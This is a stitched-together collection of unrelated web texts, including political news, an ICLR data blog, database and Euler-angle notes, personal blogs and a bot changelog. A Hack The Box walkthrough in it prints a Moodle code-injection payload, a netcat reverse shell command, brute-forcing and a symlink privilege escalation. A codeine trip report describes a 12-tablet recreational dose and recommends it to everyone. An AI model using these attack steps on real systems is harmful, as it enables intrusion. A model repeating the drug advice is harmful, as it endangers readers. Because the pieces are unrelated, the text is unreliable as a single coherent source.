Kamala Harris Renews Push for Mandatory AR-15 Buybacks
Democrat presidential hopeful Kamala Harris used a NBC News Nightly News with Lester Holt appearance to renew her push for a government mandated buyback of AR-15 rifles.
by AWR HawkinsHarris told Harry Smith ,”there are certain types of weapons that should not be on the streets of a civil society.”
She pushed for a renewal of the 1994 “Assault Weapons” ban and the implementation of a government mandated buyback of AR-15s, AK-47s, and similar rifles.
Harris described the semiautomatic firearms as “weapons of war” and said, “What we’ll do is have an incentive for people turn them in, and buy them back.”
Harris suggested there are “five million ‘assault weapons’ on the streets of America,” an assertion which greatly underestimates Americans’ love for AR-15 rifles.
On August 31, 2018, Breitbart News reported that over 9 million AR-15s were manufactured for U.S. sales during the Obama presidency alone.
The National Shooting Sports Foundation calculates there are 16 million-plus privately owned AR-15s in the U.S.

An early overview of ICLR2017
20 Dec 2016Machine learning is accelerating, we have an idea and it is on arxiv the next day, NIPS2016 was bigger than ever and it is difficult to keep track of all the new interesting work.
Given that this is the first time I submit to ICLR, and taking advantage from all the data available of OpenReview, I have decided to make some data visualizations. I hope these visualizations help to build a mental idea of which papers are the best rated, the ones with better reviews, who is submitting them, which is the score distribution, etc.
So, let’s first see what is people saying in their abstracts in order to warm up. The next plot is a t-sne visualization of the GloVe embedding of the words found in the paper abstracts:
As expected, network, architecture, data, learning, … are in the most frequent words. On the other hand, reward, attention and adversarial do also appear as important, following the current trends of deep reinforcement learning, models with memory/attention and GANS. Note that although I performed a rough pre-processing, removing words like it, and, but, etc. there are still some common words that should be prunned.
What about which are the most prolific organizations? In order to make a histogram of the submissions per organization, we can use the affiliations field in each submission:
As it can be seen, google leads the top-50 most prolific organizations, followed by the university of Montreal, Berkeley, and Microsoft. I merged some domains like fb.com and facebook.com but there might still be some duplicities. Interestingly, the top is populated by a lot of companies, and in especial, new ones like openai surpass other well established organizations.
Quantity does not always mean quality, so for all the organizations we plot their paper count (bubble size) by mean review score.
As it can be seen google has 9 submissions with an average score of 7.5, and the biggest cluster is of 13 submissions with an average score of 6. Note that the google domain may contain deep mind, google brain and google research submissions. In case of doubt, I would like to clarify that I am not vinculated to google.
Given the acceptance rate of ICLR2016, which was close to 30%, we can make a histogram for each score value to visualize the acceptance threshold:
Finally, let’s see what interesting papers are there. For that, we can use a scatter plot where the y axis represents the number of replies the paper has (simply as a measure of “interestingness”), the average reviewer confidence in the x axis, and the average score of the paper reflected in the size and the color of the bubbles:
Given the former three parameters, we can find some interesting papers such as Bidirectional Attention Flow for Machine Comprehension, Neural Architecture Search with Reinforcement Learning, and Discrete Variational Autoencoders. Bubbles are clickable, linked to the respective openreview pages, and I added some jitter so that they are separated when zooming in. I encourage the reader to browse through the data to find the gems hidden in there.
For a more explicit visualization I also include a top-10 papers sorted first by average score and then by confidence (score is the raw average, not ponderated).
This unveils the top rated paper, which is Understanding deep learning requires rethinking generalization!
Data was extracted on 21st December, so there might be some variations in the numbers.
What happened after reviews?
The final acceptance distribution has turned out to be similar to the rating histogram plotted above in this post as it can be seen in the “ICLR 2017 Conference Statistics” twitted by @OriolVinyalsML:
In fact, the final results show that the hard 6.5 threshold I plotted is spread between 6.5 and 6. Congratulations to those papers accepted with a 5 and a 5.5 :). It is also interesting to see that papers in the 7-10 range have achieved to be oral.
@karpathy has posted the detailed list of the oral, poster, and workshop papers on Medium, as well as a nice comparative with arxiv-sanity.
About the data
Openreview loads the data asynchronously using javascript, thus python and urllib are not an option. In these cases it is necessary to use selenium, which allows us to use the chromium engine (or any other one) to execute the scripts and to get the data. Nevertheless, I will pack the data into json format and upload it here so that anyone interested in it can skip all the previous steps (and to avoid overloading OpenReview).
Acknowledgements
I would like to thank @pepgonfaus for helping to obtain the data and sharing new ideas.
Thanks the Reddit ML community for helping me to improve this page.

Putting It All TogetherConsider a scenario where three remote processing locations are set up, each with a RDBMS: Pittsburgh, Chicago, and Jacksonville. Let's examine how each of the four DRDA options could access distributed data from these locations (see Figure 41.3). Figure 41.3. DRDA remote request.Consider a situation whereby we need to access specific columns from tables at each remote location. Furthermore, assume that the requests are emanating from Chicago. Refer to Figure 41.3 for a depiction of remote request distributed access. In this scenario, we can access only a single RDBMS from a single location in a single unit of work. The request for the Chicago table is a local request; the Pittsburgh and Jacksonville requests are remote. Each request is within a single unit of work (indicated by the COMMIT). Remote unit of work functionality is depicted in Figure 41.4. Contrast this diagram with remote request. Instead of a single statement per unit of work, multiple statements can be issued (see the Pittsburgh example). Figure 41.4. DRDA remote unit of work.Distributed unit of work enables multiple RDBMSs per unit of work. This is shown in Figure 41.5. Figure 41.5. DRDA distributed unit of work.All four tables from all three locations can be accessed within one unit of work using DRDA DUW functionality. Finally, Figure 41.6 depicts distributed request. Using distributed request, multiple RDBMSs from multiple locations can be accessed using a single SQL statement. In this scenario, the application requester sends a request to the Chicago application server, which in turn sends the request to the Chicago database server. It processes what it can and passes it to one of the other database servers (in, say, Pittsburgh), and so on. Figure 41.6. DRDA distributed request. |

Tim Horton's
aka Timmy's, Tim's etc, is the home to many canadians; mostly because their coffee is the equalivent of a harsh narcotic. I will admit that they do not put narcotics in their beverages but your immediate
addiction may prove otherwise. The amazing taste the the caffine buzz associated with each steaming
cup of coffee will drive you to have withdrawls and crave it whenever you don't have a cup in your
hand which will probably be never considering there is one almost every block.
Poutine
Nothing will satisfy the cravings and supply you with the proper amount of internal insoluation
quite as well as the poutine. As we all know the poutine is the national food of Canada and the areas so lucky to
surround its boarders. Not only is it tasty, it is served in about every single resteraunt you will encounter and if
not; it will become a part of the menu in due time. One would wonder how it is you can add varation to such perfection
and the answer is you really can't. However this hasn't stop a select few shops from giving it a shot: One such venture
is to add green peppers, onions and beef to the mix and call it the "Kodiac" poutine; which is amazing by the way and is
served at this particular resteraunt which is not in Canada so I'm not sure why I'm mentioning it besides the fact that
it is delicous. At any rate; you could argue that it is just fries, gravy and cheese curds and you would be correct if
you didn't notice the sparkle of Canadian pride (and soul, oh tasty tasty souls) put into each of these meal subsitutes;
for that it makes it all the better.

Euler Angles
Orientation / Angular Displacement
"Oiler" Angles
Define an angular displacement as a sequence of three rotations about three
mutually perpendicular axes.
What axes? What order?
Normally use the cardinal axes and the "heading-pitch-bank" convention.
Heading-pitch-bank
Orientation is defined by a heading angle, a pitch angle, and a bank angle.
Recall we're using the left-hand system: +x is right, +y is up, +z is forward.
Heading is first and rotates about the y-axis
Pitch is second and rotates about the (object space) x-axis
Bank is last and rotates about the (object space) z-axis
Order is heading, pitch, then bank- when rotating object from inertial
space into object space.
If rotating from object space into inertial space, then it is the opposite:
bank, pitch, then heading.
Similar to "roll-pitch-yaw" where bank is synonymous with roll, and
yaw is pseudo-synonymous with heading, and in the reverse order.
Conventions
-
Any three mutually perpendicular axes can define an orientation.
-
Any three axes can be used as the axes of rotation- they don't have to be
cardinal axes.
-
It isn't necessary to define left or right-hand rules for which direction
is positive for each rotation.
-
Rotations can be in a different order, and order does matter. Heading-pitch-bank
is just the most common and normally most useful.
Advantages of Euler Angles
-
Easy for humans: The numbers used are angles, which is how we think
about orientation. When orientations need to be displayed, then
the only real choice is euler angles.
-
Smallest memory: 1/3 the size of matrices.
-
Any set of three numbers is valid: there may be incorrect numbers
but any three numbers will always be valid.
Disadvantages of Euler Angles: Aliasing
The representation for a given orientation is not unique: for any given
orientation, there are many Euler angle triplets that can describe that
orientation. An example would be adding $360^{\circ}$ to
one angle. Also each angle isn't independent of the others: pitching
down $135^{\circ}$ is equal to heading $180^{\circ}$ pitching down $45^{\circ}$,
and banking $180^{\circ}$. To solve this issue, we normally restrict range of
angles (heading/bank to $\pm180^{\circ}$, pitch to $\pm90^{\circ}$)
Disadvantages of Euler Angles: Gimbal Lock
Famous aliasing problem- if we pitch angle of $\pm90^{\circ}$ then we can
only rotate about the vertical axis. The first and third rotations are
then rotating about the same axis.
To fix this issue, all rotations about the vertical axis are assigned to
heading in the Gimbal lock scenario (bank is then zero).
Disadvantages of Matrix Form: Interpolation
Interpolating between two angles is difficult.
Naive solution (non-canonical Euler angles):
$\Delta\theta = \theta_1 - \theta_0$
$\theta_t = \theta_0 + t\Delta\theta$
The issue with this is that if orientation A is $720^{\circ}$, and orientation
B is only $25^{\circ}$, we'll spin around the axis in the wrong direction
multiple times before getting to the correct orientation.
Disadvantages of Matrix Form: Interpolation
Canonic Euler Angles:
Orientation A = $-160^{\circ}$
Orientation B = $160^{\circ}$
Only $40^{\circ}$ apart, but goes the wrong way around to get to it.
Solution: wrap them
$wrap(x) = x - 360^{\circ} \left\lfloor{(x + 180^{\circ})/360^{\circ}}\right\rfloor$
$\Delta\theta = wrap(\theta_1 - \theta_0)$
$\theta_t = \theta_0 + t\Delta\theta$

I Quit!
If anyone has ever wondered, "Should I quit my job?", then I understand. I wanted to quit for many years but I just wasn't ready. There are many reasons people stay on. Mine were:
- 15 minute commute!
- 5 weeks of vacation!
- Paycheck!
- Sense of security
- The people - how could I leave the folks that depended on me?
- It was comfortable. I knew pretty much what to expect.
Unfortunately, I didn't like my job though. I was doing something I had done for many years and I wanted to expand my horizons. Learn something new. Something challenging. Something exciting. So, that lead me to my decision. I needed to quit.
But how could I do it? I didn't have enough skills in something else to get a job. Heck, even my company only wanted me for one job. They had no desire to train me in something else, even if I was an awesome employee and there were open positions in the company that I could have filled (they wanted somebody with experience). What to do? I started looking for classes to take, but couldn't really find anything. Nothing seemed to fit what I wanted. Then one day I received an email from some guy named Jeff who ran a local user group. He was reminding me of the next meetup, and at the very bottom of the email was a note saying new classes were starting for a coding bootcamp. What? Really?!? I think this is what I want to do!
But, at the time things seemed to be improving a little at work. We were getting more organized and I was assigned as the lead on a pretty important project. Maybe I should just hang on and give it a chance. Maybe things will work out. I worked my tail off on that project - even worked weekends and successfully implemented it. I must say I did an excellent job. No complaints from the users. Then the next project came, and I was back to where I was before. I didn't want to be doing what I was doing. I needed out.
So, I did it. I quit. It was terrifying. Saying to my boss that I was leaving was one of the harder things I have had to do. I was worried that everyone would be angry with me. But they weren't. They were so supportive and excited about me going to school (and I think maybe a little envious). What a relief!
Now I am in class writing a blog post for an assignment. I am on the path to finally doing what I want to do. Yay!

Previous drug experience: weed, alcohol, nitrous, kava, ecstasy. I am in quite good general health, and take a multivitamin, vitamin C and folic acid every day.
I ate quite a large dinner at 5.30pm so I decided to wait until I thought my stomach would be close to empty to maximise absorption of the pills. I set about preparing my room - making my bed nice and comfy, choosing a chill playlist on Winamp, grabbing a few bottles of water and some chips in case I got hungry halfway through. Satisfied that everything was ready, I went about swallowing my 12 tabs of codeine.
There was quite a bit of mass to get through, it took a few minutes to get them all down. I noticed a strange taste on my tongue, not dissimilar to the numbing I get on my tongue from Kava, but nowhere near as intense.
(10.15pm) t+0: All the pills are down the hatch. Surf the net while I wait for something to happen.
t+3: I feel a small wave of warmth move over my body. I put it down to placebo or anticipation.
t+10: A strange wave of energy momentarily moves through my body. It feels like wobbly gravity moving through my system. The wave returns and begins to build in intensity over the next few minutes. The feeling changes from waves to a constant feeling of wobbly gravity. I noticed my feet feel quite warm, like they are wrapped in a blanket. Even though it is quite a hot night, the feeling of being wrapped in a blanket isn't uncomfortable. It is as if the temperature is regulated perfectly for comfort. It is at this point I decide to clamber into bed and put my headphones on.
t+13: My body feels quite heavy in bed, I notice that I am a little fidgety, and my muscles feel sensitive, almost ticklish. My mouth feels dry so I sip on my water. I keep glancing at the clock on the computer and notice that my perception of time has changed. Not to a huge degree but what I think is five minutes is only around 2 or 3 minutes. I settle back and concentrate on what my body is feeling. I feel as though warm, soft electricity is gently humming through my body. Music sounds a little more dynamic and rich.
t+40: I am definitely up (or is it down??) by now, very relaxed. I noticed that my face is particularly relaxed, I can do nothing but lie in bed with my mouth open and eyes drooping. I feel tired, but not in a sleepy way. I would liken the feeling to when I just wake up and roll over in bed on a cold winter's morning - the warm covers surrounding me and I know I've got nowhere to be for the next few hours.... bliss!!
I go over a few thoughts in my head, my thought processes are a little altered, I am thinking about things a little more deeply than I normally would. I imagine myself being one of those Chinese opium smokers, and I reflect on how drug culture has changed compared to the chinese guys - here I am, an 18 year old college student, getting high in my dorm room off over the counter opiates :).
At this point I notice the opiate itch present itself. The itch isn't unbearable, but I decide I will take some antihistamines next time to minimise the effect. The itch is localised to specific points on my body - the back left of my neck, my right palm and my inner left groin. I get out of bed, surf the net for a while.
t+80: I get the feeling that the codeine is starting to wear off. This strikes me as peculiar, I didn't expect it to wear off this early, and I didn't want the feeling to go! I decide to get back into bed to see if I can get the feeling back. I do so, and within minutes I realise that codeine rewards me nicely for staying still! When I was sitting at the computer, I was moving around a little, but in bed I lay motionless and the buzz returned strongly. From this point on the experience gets a little fuzzy, as I close my eyes and I think I may have been getting close to sleep.
With each different song coming through the headphones I would get a different mini-dream. As the song ended, I would snap out of the dream, and think about what had just happened, analyse the dream. Before long, the next song would start and I would get dragged into another daydream. This continued for quite a while, maybe 10-15 songs, it was comparable to nitrous, the feeling of drifting away from reality into a dream world.
t+180: The daydreams are still continuing, though the body buzz has dimmed considerably. The experience feels a lot more psychological now, compared to the start where it was mainly physical sensations. I decide to turn the music off and try to get some sleep.
I toss and turn for a few hours, not getting any real decent sleep until 5am (nearly 7 hours after dropping). From here I sleep quite well until 10.30am. I had very strange dreams in this period, some which seemed extremely realistic. I wake up feeling a little worse for wear, a few body aches and a mild headache. I notice these symptoms stick with me throughout the day, even now the next night after the experience I am getting warm flushes, have a headache and sore eyes.
I am quite impressed with codeine, it is cheap and readily available and provides what I regard as a decent high. It's not mindblowing, but nice for a quiet night in. I remember thinking that codeine would go quite nicely with nitrous or weed. The after effects of codeine are a bit of an annoyance, but I think it is worth it. Overall something I would recommend to everyone to try - just remember that all opiates are addictive.
Thanks for reading! Be safe.

HTML5 is the thing to talk about these day. Today, we have a collection of some ridiculously impressive HTML5 canvas-based experiments that will make you say, take a peek at some of the latest, cutting edge examples out there.
In this two-part series, we l combine the versatile canvas element with the robust jQuery library to create a bar graphing plugin. In this first part, we are going to code the core logic of the plugin as a standalone version.
NoSQL has been one of the most talked about topics over the past couple of months. This tutorial will introduce you to CouchDB, a NoSQL implementation and teach you how to get started with the platform.

High-performance Chetak in the works
by Vishal VenugopalThe more powerful e-scooter will be sold under the KTM/Husqvarna brand.
A month ago, Bajaj revealed its first electric scooter and revived an iconic moniker with the new Chetak e-scooter. The unveil also witnessed the flag-off of the 3,000km-long ‘Chetak Electric Yatra’ that has just concluded in Pune in the presence of Rajiv Bajaj, Managing Director, Bajaj Auto.
At the event, Rajiv Bajaj revealed some very interesting information – the company is working on a performance-oriented version of the Chetak, which will be sold under the KTM or Husqvarna brand. Now KTM is no stranger to high-performance electric two-wheelers. The brand sells the Freeride E-XC – the electronic counterpart of the Freeride 250 R enduro bike – in international markets. And lest we forget, the manufacturer also revealed the E-Speed electric scooter concept at the 2013 Tokyo motor show, whose final product never saw the light of day.
However, KTM is now expected to use the Chetak platform to make its first electric scooter. The Chetak features retro-styling and is powered by a 4kW motor. We can also expect the KTM/Husqvarna iteration of the model to feature a much bolder and sharper design language with better performance; and, most likely, more premium hardware in terms of suspension and brakes.
This high-performance scooter is still very much in its nascent stages, so a launch in the near future is unlikely. However, the Chetak is here and we will see it go on sale in early 2020.

Hi there!
I'm
Subbu
A Software Craftsman
Working at
everest.engineering
If you would like to reach me


One of the first hack the box machines that i’ve rooted. This box took me hella long, but in the end it paid off. Here is my walkthrough of the machine.
Enumeration
As always we will start off with our nmap scan.
mkdir scans
nmap -sV -sC -oA scans/nmapinitial <IP_ADDRESS>
HTTP is running on port 80. I decided to run dirb in the background and do some manual enumeration in the meantime.
dirb http://<IP_ADDRESS>
In our nmap result we noticed that the website is titled ‘blackhat highschool’. In the source on the gallery page i found something interesting.
There is only 1 image with an onerror atribute to print something in the console. It’s also not displaying properly on the gallery page.
When going directly to the image itself it gives us an error.
Interesting. The file can be corrupted but i decided to do some more research to determine whether it’s something more.
Great, we have a username and a password that is missing it’s last character. In the meantime our dirb scan has finished and it’s found the /moodle directory with a login function. I searched for possible exploits using searchsploit but most involved getting acces to a teachers account.
Great, we have our entry point; the login page for the moodle directory and a username + password that is missing it’s final character. I decided to create a custom wordlist with all the possible characters and run it through hydra.
Cool, we have the password. Let’s login!
Exploitation
After enumerating without any success I decided to search on Google and found an interesting article. You can visit the article by clicking here.
You can follow the video in the article for this part as it’s perfectly explained. I’ll go through this rather quickly.
Go to Algebra course > select the quiz > Edit Quiz > Add a new question > Choose Calculated > Click Add > Put something random in question name and text as they're required.
In the Formula field, add:
/*{a*/`$_GET[t]`;//{x}}
Put grade to 100% and press Save Changes > Next page and once done you’ll see a page with ‘ Edit the wildcards datasets’ somewhere in the center of the screen. Next we are able to pass system commands through a url parameter called ‘t’. For more information please visit the previously mentioned article.
Add this to the end of the url and make sure your netcat is listening on the specified port.
&t=(date;nc -e /bin/sh IP 9001)
Once you’ve send the request, our listener will get a callback and we get a reverse shell as www-data.
As we are unable to view the home directory of giovanni, we have to escalate privileges.
Privilege Escalation to giovanni
I decided to go through the moodle directory in /var/www/html/moodle and check the config files and stuff to see if there is anything interesting.
Nice, database credentials! Let’s see if there’s anything juicy stored in there.
We can check out the list of databases with:
SHOW DATABASES;
Moodle is interesting and might have some passwords.
USE moodle;
Check the tables.

SELECT * FROM mdl_user;
I went over the output and found an md5 hash. Searched online for an online md5 cracker and got a result.
The password is ‘expelled’, we can su to giovanni.
In giovanni’s home directory we find the user.txt!
Getting root.txt
In giovanni’s home directory there is a directory called work, which has two directoies courses and tmp. After enumerating for a while i found a backup.sh script in /usr/bin. When i took a look at this script i noticed that it’s backing up data and changing directories with 777 recursively.
I watched alot of ippsec’s write-ups about retired machines. This situation reminded me of a write up about the Joker machine. The technique i learned in this video can be used here. We can create a symlink and trick the system into backing up the root directory in /home/giovanni/work/courses. Let’s create our symlink!
ln -s /root/ courses
Once done, we just had to wait for a bit and we got root key!
Thanks for reading and happy hacking!

Pleasure, Passion and Purpose
I found out when I started to think about my different pursuits in life currently,
that most of the things I do are for pleasure haha.
Like playing video games or watching things on youtube, hanging out with friends
and EaTIng.
I used to have a couple hobbies that I was passionate about; things that I could
do that just gave me inherent happiness, but I don't seem to be doing them much lately
and I'm not sure why. For example I'm a big fan of miniature wargames, but I haven't
painted any miniatures for atleast a month now. And I have a great book that I was reading
but I stopped at some point and I don't know why.
I thought for a second there I had nothing left that I was doing currently that I am passionate
about, but then I realised that I had just put down my ukulele after playing a couple songs,
so atleast I've got that.
Core Values
Call me old fashioned, but I find great value in Loyalty and Respect. I believe that showing respect is something that everyone can and should do. For example when I was at primary it always bugged me when my classmates would be mucking around or simply not listening to what the Teacher was saying. It bothered me because all they had to do was listen and keep their mouths shut; two things that are incredibly easy but for some reason it was beyond them. If a person is talking to you, you should be listening to them. If a person asks you something you should try and answer them. It all comes back to treating others how you would want to be treated. Loyalty is also important to me because I think it's very important to remember things that people have done for you. It's not easy to go through life alone, in fact a lot of us depend on help from people around us to achieve our goals. So when I say loyalty I mean acknowledging when people have done something for you and trying to give back to those people in some way at some point.
What I stand for
Something that I believe is really important is equality. There isn't a specific equality that I preach; I just believe in equality in general. It is confusing that in this day age there are still judgements and segregations which are completely baseless and pointless. It's just DUmB. We are all people and deserve to get treated as such!
Resilience Ideas
I like how a lot of the ideas in Search Inside Yourself are linked to mindfulness.
Since we've all been practising mindfulness we all have the base knowledge to learn
resilience too. Inner calm is a direct result of mindfulness training, and is the bases
of resilience. Which means that you just need to know when to apply mindfulness to a
situation to help improve the situation and your resilience.
Emotional resilience is recognising that failure and success are both emotional experiences,
with physiological effects.
Which is a very familiar concept; almost identical to what was taught in the self-regulation
segment which spoke about recognising signs of anger and so on. So knowing when and how you
react to success and failure is a key part of building resilience. Sounds right to me.
And then finally we have cognitive resilience which is creating the conditions for optimism.
Which I guess is thinking about what you have done and why it ended in failure, in order
to grow and move towards success. Using a calm and rational mind to determine how to make
changes which lead to a better outcome.
I think that the resilience ideas are very solid, and I think that the fact that they mirror
mindfulness and other teachings from previous segments shows how closely knit a lot of the
ideas are when it comes to emotional competencies and intelligence.

This function allows to directly compare two contrasts for independent samples by standardizing the contrast weights
compare_independent(nGroup, lambda1, lambda2, dat)
| nGroup | Number of independent / between-subject groups |
|---|---|
| lambda1 | A vector of contrast weights for Hypothesis 1 |
| lambda2 | A vector of contrast weights for Hypothesis 2 |
| dat | A matrix or dataframe with two columns; each row contains values for one respondents; the first column contains the group indicator, the second column contains the dependent variable |

Results of the contrast analysis
Contrast Weights
Standardized contrast weights of the two original contrasts and difference between standardized contrast weights
A test favoring Hypothesis 1 is performed, hence a positive t-value indicate that the contrast weights contained in lambda1 fit the data better than the contrast weights contained in lambda2, and vice versa for a negative t-value.

Dev Bootcamp Phase 0 Week 1 Time Management
Dev Bootcamp Phase 0 - Using Evernote, Google Tasks, Gmail, Google Calendar and other tools to manage time effectively
I'm almost done with my first week of Dev Bootcamp Phase 0, and one thing has been abundantly clear since I first saw the Unit 1 Week 1 curriculum. This week, and Phase 0 was going to put a big emphasis on time management and personal organization. Clearly, learning Ruby, HTML, CSS, JavaScript, PHP and all of the tools necessary to use them efficiently will be the main focus. However, in order to learn these technologies in the timeframe allotted, one must be organized and efficient with their time.
As the prep phase ended and I began to start Phase 0, I realized immediately that I need to invest some time in some new tools to make sure that I didn't waste time going back and forth to look things up and trying to remember what needed to be done on what due date. I spent a few hours researching and then setting up a system which ended up saving me countless hours over the last week, and I know that gave me extra time to learn new things and put more effort into the exercises which is where the effort belongs.
The system I came up with is working so well, I thought I would share it with everyone in this post. The system uses mainly google technologies which are designed to work together. Evernote for the desktop and Gtasks for my Android device (there is a Gtasks HD for iOS devices which looks like it has identical capabilities, but I have not used it and therefor, cannot recommend) are two key components that let me extend the organizational power of the Google tools.
I've been a big fan of using a smart phone or pda (personal digital assistant - It seems like I was using these a few years ago and now I have to explain what it is) for todo lists, calendar, and contact info for almost 20 years now. I started using the original Palm Pilot back in 1996 and my favorite feature was the todo list/calendar integration. It seemed so intuitive and it worked. At the time I was buying a Domino's Pizza store and then ultimately owning and operating that store and the Palm Pilot and following iterations were my main organizational tool.
Fast forward to 2001and Palm was already declining. I no longer owned the store, and my need for organizational tools where diminishing. Eventually I stopped using the features as the mobile phones stored all of my contact info and it started to become a hassle to carry a mobile phone and a pda everywhere. When smartphones started popping up, I thought this going to be the future I had been looking for. Unfortunately, Palm was dead by this time and none of the smartphones seemed to have a good todo list/calendar app that I knew about.
I suppose if I had a stronger need for a todo list/calendar app I probably could have found them. That need arose a week ago as DBC Phase 0 kicked into high gear.
What I found the need for very quickly was a good todo list. I needed a way, preferably, to keep a todo list with me at all times. I wanted to have the ability to update it via phone if I were, say out at the store and realized that I needed to take care of something when I got home or by a certain date and knew that I would forget it if I didn't write it down.
I also needed to be able to pull it up quickly while working on my Macbook Pro. I would need to enter info as I went through DBC communication and each time that I learned of an assignment with a due date I would create a new task for it. Of course, this needed to somehow sync with the list on my phone, so hopefully there was an app out there that would accomplish this.
I had seen Google tasks before, but I had never really had much of a need for them and wasn't sure exactly how well they integrated with the Android calendar app. I checked out the Google Tasks tutorial video and was very happy to see that it integrated well with Google Calendar and the video shows it working with an Android phone. Great, so let's start using it.
I entered some test tasks in and then pulled up Calendar on my Android phone. There are some tasks in there, but they were not the tasks I was looking for. They were from 2 years ago from a different gmail account that I had. No problem, I thought, I'll just change the account in the preferences. 15 minutes and a few google searches later, it was obvious that this isn't an option for some unknown reason.
So, a couple of Play Store downloads and little more trial and error and another 15 minutes or so and I found Gtasks would do everything I required from a task app, it supports multiple gmail accounts and even has an extremely handy voice feature to quickly add a task at any time.
Without further ado, let's take a look at how this all works. Here is how my workflow went from week 1:
- Enter all currently known todo items (tasks)
- Read Unit 1 Week 1 curriculum all the way through to get an overview and enter a task for each item that must be completed
- Proceed through each exercise and check them off the list as you go
- Use evernote to take notes on each exercise
- Copy and paste any and all links that have to do with each lesson on this notes page
- use this page while writing your reflection. You will already have all of your thoughts and notes in one place along with any links that you may need to include
- Add more tasks as the week progresses
- finish everything and clear the list until next Sunday when you fill it up again
Seems simple huh? Okay let see how this works:
Getting Started with Google Tasks is as easy as 2 clicks
This will open a small tasks window in the lower right hand corner. You can use it from here if you like, but my technique is to click the arrow just to the left of the x to use the pop-out window. You can place this wherever you want and resize the window.
I would suggest watching this video to get started. It's only 1:01 long and it hits all the main points.
You can figure it out just by using it if you want, but there's one tip that really comes in handy. If you start a task with a date like this "7/19" not only will your task appear in the task list, it will also create a task on the corresponding date in your Google Calendar. I wasn't sure how useful this would be, but it has been extremely useful for me in the last week as I could quickly determine how much I had to accomplish on a certain date with one glance at my Calendar.
Using tasks is so easy and powerful, I can't believe I wasn't using it already.
Gtasks is pretty simple too and it seems to have some cool features. The main thing I use on a regular basis is the voice recognition "quick add new task" feature at the bottom of the app. Follow these steps to enable it:
- Click "Settings"
- Click "More - Advanced Settings"
- Check the box labeled "Quick Add"
That's it and now all you have to do is open the app and touch the microphone icon to enter a task in mere seconds. It will sync automatically with Google tasks in 5 to 10 minutes, or you can hit the sync button to sync it immediately (Note: you may have to refresh your Google tasks app to see it right away, otherwise there may still be a 5 to 10 minute delay).
Using Google tasks along with Gtasks on my Android phone has been a lifesaver this week as I have been juggling everything DBC is throwing at me while selling a large piece of equipment on ebay (I really didn't realize how much of a pain this could be) plus everything in my normal day to day existence.
Starting Fresh with Evernote
The other element of this system that has been a virtual workhorse for me this week is Evernote. I've been using Evernote to clip content from webpages for years, and I already knew just how invaluable this tool is and it's free. You can upgrade to get more storage, and if you run out of the storage from the free account, it's pretty much worth it for you to pay the $5/month for the upgrade.
I've come up with what I think is a pretty good note taking system for DBC. Let's walk through a workflow scenario from my DBC experience:
I've found that it works best for me to shut everything down and do a restart each time that I start a new exercise. Once my machine boots up, the first thing I do is open Evernote and find my note titled "Mac Startup Procedure" This note has step by step instructions and links to open up exactly what I need every time I start a new session. Here is what I open and why:
- Socrates
- Gmail
- Tasks
- Google Calendar
- DBC September Lions Google+ Page
- Phase 0 Handbook
- Unit 1 Curriculum
- Any other links from the Google+ Page that I need
- Browser Stack to test pages and my site in different browsers
- Bitly - I use Bitly primarily to shorten links and paste into my tasks list. This keeps my task text as concise as possible.
- Thunderbird for my other email accounts
- Sublime Text 2 (I will be switching to Sublime Text 3 as soon as I can get the time)
- Terminal
- Firefox and/or Safari if needed
I open all of these each time and I have a set starting location for all of them. This saves a lot of time when I start working because I know exactly where everything is each time.
I also have two very simple rules for closing everything down at the end of a session.
- Close Gmail/Tasks next to last
- Close Evernote last
This allows me to review things as I close windows and copy and paste any links I may need or enter any new tasks which I either forgot to enter or just realized I needed to make.
Any time I have a link that I am going to use on a regular basis, I will post it to the bottom of this note.
There are a few things I have used Evernote for during Week 1. First of all, I make a new note for each new exercise. I tend to type the Learning Competencies in to start (I don't copy and paste, because typing helps me to set these in my memory so that I can be thinking of them while I go through the exercise). Then as I go through the exercise, I write notes, copy and paste interesting information and important links. This way, everything associated with this exercise is in one place. I have a feeling that this will become very handy in the future as we move on to new technologies. If I need to go back and review something that I learned about css, I should be able to find all of the pertinent info (or most of it at least) in one place.
I am also using it to clip examples of websites that I find extremely well created or useful. This came in particularly handy this week. As I had read through the exercises to create my original task list on Sunday, I knew that for the Technical Blog post exercise we would need to have 3 examples of our favorite website. I couldn't really think of any specific sites off hand.
As the week went, every time I landed on a website that I was impressed with I clipped it to a new Evernote notebook called "Web Design Examples." When I came to the technical blog post, I was able to pull up about 30 examples of quality sites and all I had to do was narrow it down to three.
Of course, I will continue to add to this folder. It's always good to have examples of good sites to check out.
Well, that's it. I hope you learned something that you didn't already know or maybe you found a different way to use something. If you have other systems that you like or that you think work better, I would love to hear about it.
Until next time, have fun coding and...
Let's do something Epic!


Enhance the data¶
To enhance the initial database, use SURF to predict missing building information.
For more information about SURF, read its documentation.
To install SURF, run the following command in the terminal:
pip3 install pySURF
To enhance the initial database, run the following command in the terminal:
python3 SURF.ET-AI.py
# the SURF.ET-AI.py file can be found in github
# https://github.com/charlesxwang/SURF
After the running of the enhance script above, a new geojson file containing BIMs for the city will be generated. The missing values in the initial database are now filled with predicted values.
The following figures show the prediction errors for four building properties: year built, number of stories, structure type, occupancy.


This document provides an overview of Web technologies as they can be used to build media applications and services, and highlights some of the known gaps to enable additional use cases.


This update lacks in big shiny features because it focuses on the website, but fear not, because the next update is going to be big! This update was also delayed due to my work on Bots on Discord and Nekos.moe, but expect 4.14 to be released sooner now that that work is done.
I had big plans for the Mirai Bot Dashboard, but the website was beginning to age (the JavaScript ecosystem moves fast). I decided the best way to implement the features I wanted was to completely re-write the website. The new website has a clean design and focuses on being easy to use.
Most of the changes can be noticed in the dashboard. It now displays information such as votes, configured notifications, and pro details. Any user in the server can view these, and I plan to add interactions in the future. The new dashboard also has help messages inlined with the forms that explain certain options. Another feature that was often requested is the ability to enable and disable all commands at once. Outside of the dashboard there are still many changes, such as an updated FAQ and feature pages (WIP), so head over to the new website and check it out! For a quick preview watch this video:
m.latency
aliasThe next update will include more of my planned features for music. Here's some potential features:
mm.play
will become mm.join/start
, while mm.queue
wil get the play
aliasAllows you to get a schedule of when anime you get notifications for air during the week.
The vote and lottery commands have been long due for an upgrade. I have plans to overhaul them with tons of new features. Giveaways for example will be able to specify eligible roles and minimum account age. Giveaways and votes will also be able to be restricted to a role. I also plan to allow the use of reactions instead of messages for giveaways and votes.
I plan to add more features to the dashboard. One feature is the ability to change your twitch and airing anime notification settings on the dashboard. Another is the ability to create and manage votes and giveaways. I can't say for sure what will make it into 4.14, but I'll try to fit some things in.
I recently launched the open beta for my new bot list: Bots on Discord. Bots on Discord is a list that intends to be the next generation of bot lists, focusing on the users while also giving developers powerful tools. I won't bore you with more buzz words, we'd just appreciate if you took some time to check out our website bots.ondiscord.xyz.

